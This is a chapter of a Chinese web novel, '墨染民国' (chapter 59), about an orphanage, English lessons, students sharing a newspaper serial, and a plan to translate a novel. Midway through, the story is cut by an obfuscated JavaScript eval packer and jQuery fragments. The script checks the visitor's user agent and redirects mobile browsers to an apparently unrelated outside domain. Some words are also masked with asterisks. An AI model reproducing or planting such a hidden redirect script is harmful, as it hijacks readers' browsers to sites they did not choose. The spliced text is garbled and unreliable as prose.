第59章 翻译

作品:《墨染民国

    孤儿院现在,一共有三十八个孩子,其中五个是被遗弃的女婴。


    为了照顾这五个女婴,谭峥泓花钱雇了两个奶娘,还买了两只奶羊。


    刚出生的女婴只让奶娘喂,其中两个稍微大点的,就喝煮过的羊奶。


    至于另外那三十三个孩子,有二十五个,是跟江来一样,早早在外流浪的孤儿,剩下的八个,都是被父母扔在孤儿院门口的。


    被父母扔在门口的孩子,原本还要多一点,最初时,就连几个在孤儿院当过小工的人,都把自家孩子扔在孤儿院门口,让谭峥泓哭笑不得。


    毕竟这些孩子当初曾跟着父母在孤儿院这边吃喝,他是认识的。


    不过,在谭峥泓传出会把这些孩子送去南洋的消息后,有些父母就将孩子接走了。


    剩下的这八个孩子,五个是女孩,这些女孩没什么大毛病,只是其中一个孩子脸上有胎记,又有一个孩子是兔唇。


    那三个男孩,却都有不小的问题。


    一个是跛子,一个聋哑,还有一个先天脊柱侧弯。


    桑景云给他们念完故事,让江来教他们算算数,自己则是拿着英文课本,去跟谭峥泓学英文。


    现如今,农历已经进入腊月,今天是腊月初三。


    阳历则已经走到12月底,很快,他们就会迎来1917年,也就是民国六年。


    桑景云不是学历史的,虽然她知道很多历史事件,但绝大多数事情事件,她已经记不清具体时间。


    1917年发生的事情里,她唯一有印象的,是俄国十月**。


    那对现在的她来说非常遥远。


    桑景云又跟着谭峥泓学了一篇英语课文,并默默背诵。


    她上辈子不爱开口说英文,是因为觉得自己说的英文,跟录音里不太一样。


    这辈子倒是好多了,这也跟谭峥泓有关,谭峥泓非常擅长夸人。


    “桑小姐,你的英文说得真好!”


    “你学东西也太快了,英文还一点口音都没有!”


    “你是我见过的,最聪明的人!”


    ……


    桑景云其实不太喜欢英语,她知道学会英文后,对她有好处,应该学。


    但真开始学了,她不可避免会觉得无聊,想要放弃。


    但谭峥泓太会夸人了!


    桑景云知道夸奖别人可以让人有动力改变自己,之前,她就会刻意夸奖桑学文。


    但她那么做,是为了达到自己的目的,并没有多少真心,谭峥泓的夸奖,却真心实意。


    见谭峥泓那么崇拜自己,那么崇拜云景先生,她默默增加了学英文的时间,对开口这事儿,也不再排斥。


    学了一会儿英文


    ,眼瞅着快到中午,桑景云就跟谭峥泓告辞,准备回家。


    离开前,她又听到谭峥泓在夸江来:“江来,你算数学得特别快,一点不像以前没读过书的。我相信你以后,一定能成为一个非常厉害的人。”


    江来能听懂一些北京话,就算听不懂,他也能从谭峥泓的神情,看出谭峥泓在夸奖自己。


    他是一个小乞丐。


    以前哪有人夸他?从来都只有人骂他嫌弃他。


    江来眼睛亮晶晶的,打定主意要好好学算数,以后给谭峥泓当账房。


    他跟谭峥泓身边的保镖打听过,账房先生一个月至少能拿六元的薪水,有些还能拿十几元!


    若他能当上账房先生,以后说不定还能娶个老婆,生几个孩子。


    这是他以前想都不敢想的生活。


    《真假千金》这本书,今天只刊登了三千字。


    虽然有很多读者喜欢,但仅止于此。


    毕竟三千字真的很少,剧情还未展开。


    不过,他们是愿意为这个故事,继续购买《新小说报》的。


    此后三天,《新小说报》的销量并未下降。


    黄培成这下,彻底放了心。


    而讨论《真假千金》这部小说的人,也越来越多。


    阳历12月30日这天,桑景英一大早,就来到学校。


    昨天下了雪,今天特别冷,路也不好走,学校的同学,都是穿着木屐上学的。


    桑景英也穿了木屐。


    来到教室后,他将脚上套着的木屐取下,穿着棉鞋往教室走。


    他脚上的棉鞋是桑景云买了送他的,橡胶底的鞋不仅穿着暖和舒服,还不像布鞋那样容易坏。


    他不仅有棉鞋,还有新做的棉衣,虽然最外面的长袍是用便宜的布料做的,还很旧,但他一点都不会冻着。


    几个月过去,桑景英长高了一些,还胖了一些。


    他在学校里吃得很简单,连荤菜都不买,但早上和晚上在家时吃得很好,心情也好,也就长了肉。


    “景英,你总算来了!”桑景英的几个同学见到桑景英,立刻围上来,冲着桑景英笑。


    桑景英看到他们,就知道他们想要什么。


    他取出一份报纸给他们:“今天的《新小说报》,快拿去看吧!”


    “景英你真大气!”


    “多谢桑哥!桑哥发大财!”


    “幸亏有你啊景英!”


    这些人一边说,一边凑到一起读报。


    他们很喜欢《新小说报》上的故事,但他们的家境普遍不好,每天拿出几个铜元买报纸,对他们来说压力有点大。


    幸好有桑景英每天带报纸给他们看。


    桑景英笑了笑,又拿出《水浒传》看起来。


    报


    纸只有一份,不是每个同学都能第一时间看到。一个没能挤进去看《真假千金》最新内容的学生,瞧见桑景英又开始看《水浒传》,忍不住问:“景英,你怎么天天看这书?这书就这么好看?


    桑景英道:“是很好看。


    这个同学闻言感叹:“你真厉害,这样的书也能看完。


    他们这些人,很多只读了初小,大部头还没有标点的《水浒传》,也就看不下去。


    他之前跟桑景英借来看过一点,就记得开篇是朝中在商量事情,然后好像是有个官员出去办事,遇到一只老虎。


    具体如何他已经记不清,反正不像《真假千金》那样容易看懂。


    都已经看不太懂,他自然不想再看下去。


    “这本书写得很好,非常好。桑景英道。


    他知道自己姐姐写的小说很好看,但要论对文字的运用,是绝对比不上《水浒传》的。


    他姐就不止一次说,《水浒传》和《西游记》的作者的文学功底非常强,是他们拍马都比不上的。


    他在看书的过程中,还发现作者的人生阅历,远超他的想象。


    比如,作者对**场景的描写,就格外真实,跟《新小说报》上某些武侠小说的描写截然不同。


    桑景英怀疑这部小说的作者真的杀过人,至少见过很多**场面。


    不过他看这部小说,主要还是为了赚钱。


    如今他姐赚得很多,但他身为家中长子,赚钱应该是他的责任!


    “故事肯定是好的,我也听人讲过一些,但实在看不动,还是《真假千金》更好看,这个同学叹气,“我的国文不够好。


    桑景英笑起来:“我也更喜欢《真假千金》。


    这可是他姐写的小说!


    两人说话时,第一批人已经将《真假千金》今天刊登的内容看完。


    于是,第二批人开始看。


    而第一批人,则聚在一起聊天。


    “金老板夫妇还有金芍药,他们实在可恶!


    “月季真可怜,好不容易回家,还要被人怠慢。


    “月季也真厉害,很多女子,遇到不公只会垂泪,她却会努力争取。


    ……


    还有人道:“我父母在我年幼时,就给我和表妹订了婚,但我只把我表妹当妹妹,不想跟她成亲。我真的很想退婚,但那样会毁了我表妹的一辈子……唉!


    桑景英闻言道:“事已至此,你只能好好对你表妹,女子在这世间,活得比男子要艰难许多。


    这人点头:“我知道,她到底是我表妹,我们从小一起长大,我不会辜负她,就是有些难受。若我有了孩子,我一定不会像我父母一样,完全无视孩子的意愿


    。”


    “以后一定会越来越好。”桑景英道。


    这人重重点头。


    桑景英转而说起别的:“明天是周日,后天是元旦,接下来我们有两天假,真是想想就开心!”


    桑景英那个同学眼睛一亮:“对,有两天假!我攒了点钱,想去租界看看,你们有要一起去的吗?”


    “我不去,我攒着钱,想买一套《双面魔君》。”


    “我去!”


    “我没钱,就不去了……”


    ……


    桑景英也不去。


    他是会去租界的,但他跟自己的姐姐一起去,不跟同学一起去。


    桑景英的学校里,大家在看报,张庄茂的学校里也一样。


    张庄茂是厌恶云景的,也不喜欢《双面魔君》。


    但《真假千金》这本书,他在听人说了些剧情后,就特别想看,而等看了之后,更是非常喜欢。


    他在金月季身上,看到了自己。


    他的母亲,全然不顾他的想法;他的父亲,眼里只有利益;他的两个兄长,对他不闻不问。


    他和金月季一样,不被家人重视。


    张庄茂从金月季身上,除了看到自己以外,还看到了桑景云。


    桑景云一点不给他脸面,他原本是很生气的,但看了这小说,想想桑景云的处境,便气不起来了。


    他们都是可怜人。


    桑景云并不知道张庄茂把自己当成了可怜人。


    她正在看桑钱氏切年糕。


    这年糕是桑钱氏从附近一个打年糕卖的农家买的。


    他们这里的人,若是家里宽裕,入了冬,是定要买点年糕回家,放水里泡着,慢慢吃的。


    桑景云上辈子,从小就不爱吃年糕,尤其不喜欢奶奶做的年糕粥,但她奶奶特别喜欢吃年糕。


    年幼的她不理解,现在倒是能理解了。


    年糕是糯米做的,特别管饱,还是细粮,这样的食物,那些平日里吃不饱的人,哪能不喜欢?


    对他们来说,水煮年糕已经是绝顶美味。


    就像她刚穿来那会儿,每天只能喝粥,那时如果有年糕给她吃,她肯定喜欢。


    桑钱氏将年糕切成小块,说是中午要给谭峥泓他们,做一盘糖炒年糕。


    将年糕用猪油煎一煎,再将白糖熬化,将年糕放进去拌一下,最后撒上芝麻,这样做出来的糖炒年糕,很多人都爱吃。


    谭峥泓口味偏甜,爱吃甜食,应该会喜欢。


    至于其他人……这样高热量的食物,没人会拒绝。


    “明儿个早上,我们还可以吃年糕粥。”桑钱氏又道。


    桑景云连忙道:“奶奶,别做年糕粥,做青菜年糕吧。”


    她不爱吃年糕粥,若是青菜和年糕一起煮,倒是


    喜欢的。


    桑钱氏答应下来,她就是想吃年糕,怎么煮的倒是无所谓。


    两人说完话,桑景云看着时间差不多了,又拿着英文课本去隔壁。


    桑钱氏瞧见这一幕,有些担忧,然后回头瞪了桑学文一眼。


    在桑钱氏看来,自己的孙女儿,已经到了找婆家的年纪。


    因此,她看到桑景云身边出现年轻男子,就会忍不住多想一想。


    张庄茂那家伙,她是看不上的,洪永祥倒是不错,谭峥泓那就更好了。


    桑钱氏能看出来,谭峥泓喜欢自己孙女儿。


    若桑家没有败落,这会儿她孙女完全可以挑拣一番。


    然而桑家已经败落,纵然谭峥泓喜欢她孙女儿,两人也不太可能在一起。


    都怪桑学文!


    “娘……”桑学文不明所以。


    桑钱氏懒得理他,什么都没说。


    她一直惦记着桑景云的婚事,但她能看出来,桑景云自个儿,是没想过这件事的。


    既如此,她也没必要多说什么。


    她大字不识一个,什么都不懂,若去给自己的孙女儿拿主意,搞不好会害了自己的孙女儿。


    桑景云来到隔壁孤儿院,就见孤儿院的孩子,正**来带着,一起唱《读书郎》。


    虽然孤儿院已经开始收留孤儿,但床铺之类,很多东西还没准备好,因此这些孤儿暂时处在散养状态。


    谭峥泓打算等过了年,再请个认字的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530027|163125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回来,教他们国文和算数,再找点手工活给他们做,为孤儿院创收的同时,也让他们学会一些技能,有个谋生本事。


    因为他们现在没有老师,学东西也就学得很杂,大部分时候,都是一群人在屋里玩儿。


    等唱完歌,江来笑着跟桑景云打招呼:“桑小姐早!”


    “你也早。”桑景云朝着他点头,然后就见江来殷勤地搬了一个凳子给她。


    桑景云跟江来聊了聊,问他最近过得如何。


    江来滔滔不绝地说起来,说自己过得很好,说自己从未过过这样的好日子:“桑小姐,你看外面下了雪,往年这时候,我冷得不行,却还要去县城讨饭,不然就要饿肚子……我做梦都想不到,我还能有现在这样的好日子过。”


    桑景云道:“你以后的日子一定会更好。”


    她虽然这么说,但想到今后这个国家会出现的战乱,又忍不住在心里叹气。


    去南洋,对这些孩子来说,或许真的是一个很好的选择。


    桑景云拿出纸笔,又教了江来一些算数,也就是这时,谭峥泓从外面进来。


    “冻**冻**,这外面也太冷了,我这辈子,还没有挨过这样的冻。”谭峥泓刚进屋就开始跺脚。


    桑景


    云道:“你觉得冷,怎么手里还拿个雪球?


    谭峥泓有些不好意思:“桑小姐,我还是头一次看到下雪!


    今天早上起来,发现外头下了雪,天知道他多么兴奋。


    他以前只在书里看过雪景,现在终于在现实里看到了。


    原来雪是这样的!


    这次的雪下得不大,地面上都没有什么积雪,只屋顶上,树木上覆盖了薄薄一层。


    谭峥泓也就没办法堆大雪人,只堆了几个小雪人玩儿。


    一边玩,他一边跟桑景云说话:“桑小姐,《真假千金》真好看,我整天惦记着这本书,特别想一次看完,你说云景先生他怎么这么厉害?我觉得书里的人,都被他写活了!


    “桑小姐,我觉得金月季真的是个很好的姑娘。


    “桑小姐,我想把这本书翻译成英文!


    桑景云已经习惯谭峥泓整天在自己面前夸云景。


    她很喜欢听这些,听得很认真,但一般不搭话。


    在陌生人面前夸云景,她是完全没有心理障碍的,但在熟悉的人面前夸,她没那么厚的脸皮。


    但在谭峥泓说要把《真假千金》翻译成英文后,桑景云立刻就开口了:“你说什么?


    谭峥泓道:“我想把《真假千金》翻译成英文!桑小姐,我觉得我们国家的小说,比国外的小说更好看,我想让那些外国人,也看一看我们国家的小说。


    谭峥泓以前在南洋读中学时,看了学校图书馆很多书。


    其中就有他非常喜欢的《基督山伯爵》《三个**手》等,《傲慢与偏见》之类,他也很喜欢。


    但也有一些书,他看得莫名其妙。


    比如有些书,写的就是出轨之类,**为什么会那么受推崇。


    当然,他会有这样的感觉,或许是因为他的鉴赏能力不够。


    总之,在看了《双面魔君》后,他就有些兴奋,觉得他们国家的小说,比国外的更好看。


    为此,他特地将《双面魔君》寄去南洋,给自己以前的同学看。


    他还想把《双面魔君》翻译成英文,给自己以前的洋人同学看。


    但《双面魔君》是一部武侠小说,里面有各种**,还有蛊虫之类,这些东西在英语里,都没有对应的单词,**要如何翻译,只能放弃。


    这部《真假千金》却不同。


    这写的是现如今的上海,翻译起来并不难,他觉得他可以尝试一下。


    他看了很多洋人的小说,现在想让洋人,也看他们的小说!


    “凭什么只有我们看他们的小说?他们也可以看我们的小说!谭峥泓道:“我这样做,还能让自己的英文学得更好。


    “这是一


    个好主意。”桑景云道。


    她不知道自己的小说,外国人会不会喜欢。


    但谭峥泓愿意翻译,她求之不得。


    作为一个作者,她肯定希望自己的作品,能被更多的人看到。


    “桑小姐,我就知道,你一定会支持我!”谭峥泓很高兴:“我明日就去《新小说报》编辑部,让他们帮我问一问云景先生,看云景先生,愿不愿意将作品给我翻译。我以前从未翻译过作品,不见得能把这本书翻译好,但我可以请人帮我润色一番……”


    谭峥泓早已想好要如何翻译这本书,他打算自己翻译好后,再请个洋人润色一下,然后拿去国外出版。


    当然在那之前,要先得到云景先生的同意。


    正好明天桑景云有事要去租界,他也就不来孤儿院了,干脆去一趟《新小说报》编辑部。


    谭峥泓是真的很喜欢《真假千金》这本书,他喜欢孟佑,但更喜欢金月季。


    他希望能有更多的人,看到这个故事。


    桑景云道:“我相信云景先生一定会同意,应该还会很感激你。”


    谭峥泓闻言笑起来,又道:“我要好好练一练翻译,以后说不定还能翻译别的东西!国外很多资料,在国内是没有的,我若是将那些资料翻译成中文,肯定能对国内的发展有助益。”


    “谭少,这是利国利民的事情,你若是做好了,一定会有很多人感激你,等我学好英文,我也要做翻译。”桑景云道。


    现如今,他们国家跟国外的差距,非常大。


    比如,世界上第一条地铁在1863年建成,而中国的第一条地铁,晚了一百年才建成。


    若是他们能多翻译一些国外的资料,对国内的发展,确实是有很大益处的。


    聊过之后,桑景云开始学英文。


    谭峥泓却是拿出他放在孤儿院的《新小说报》,开始翻译《真假千金》。


    见谭峥泓这么认真,桑景云对这部小说,也愈发重视。


    曾经,这个世界上,只有他们国家能生产丝绸。


    但后来,各种技术被窃取,其他国家,便也能生产丝绸。


    桑家会破产,其实有一部分原因,是日本丝绸产量越来越高,以至于他们国家的丝绸产业,遭到一定程度的打击。